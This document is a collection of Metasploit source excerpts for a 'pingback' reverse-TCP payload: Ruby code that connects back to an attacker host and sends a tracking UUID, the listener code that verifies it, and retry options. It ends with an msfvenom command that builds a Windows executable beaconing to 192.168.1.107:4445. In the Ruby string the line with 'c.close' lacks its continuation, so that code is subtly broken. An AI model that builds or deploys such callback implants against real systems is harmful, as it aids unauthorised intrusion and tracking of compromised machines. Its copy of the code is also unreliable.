# msf/modules/payloads/singles/ruby/pingback_reverse_tcp.rb
def ruby_string
    self.pingback_uuid ||= self.generate_pingback_uuid
    lhost = datastore['LHOST']
    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
    return "require'socket';" \
      "c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};" \
      "c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');"
      "c.close"
  end

# msf/base/sessions/pingback.rb
def uuid_read
    uuid_raw = rstream.get_once(16, 1)
    return nil unless uuid_raw
    self.uuid_string = uuid_raw.each_byte.map { |b| "%02x" % b.to_i() }.join
    print_status("Incoming UUID = #{uuid_string}")
    if framework.db.active
      begin
        payload = framework.db.payloads(uuid: uuid_string).first
        if payload.nil?
          print_warning("Provided UUID (#{uuid_string}) was not found in database!")
        else
          print_good("UUID identified (#{uuid_string})")
        end
      rescue ActiveRecord::ConnectionNotEstablished
        print_status("WARNING: UUID verification and logging is not available, because the database is not active.")
      rescue => e
        # TODO: Can we have a more specific exception handler?
        # Test: what if we send no bytes back?  What if we send less than 16 bytes?  Or more than?
        elog("Can't get original UUID")
        elog("Exception Class: #{e.class.name}")
        elog("Exception Message: #{e.message}")
        elog("Exception Backtrace: #{e.backtrace}")
      end
    else
      print_warning("WARNING: UUID verification and logging is not available, because the database is not active.")
    end
  end

def initialize(info = {})
    super
    register_advanced_options(
      [
        Msf::OptInt.new('PingbackRetries', [true, "How many additional successful pingbacks", 0]),
        Msf::OptInt.new('PingbackSleep', [true, "Time (in seconds) to sleep between pingbacks", 30])
      ], self.class)
  end

msfvenom -p windows/x64/pingback_reverse_tcp -f exe -o patrilic.exe LHOST=192.168.1.107 LPORT=4445 EXITFUNC=thread PINGBACKRETRIES=10 PINGBACKSLEEP=5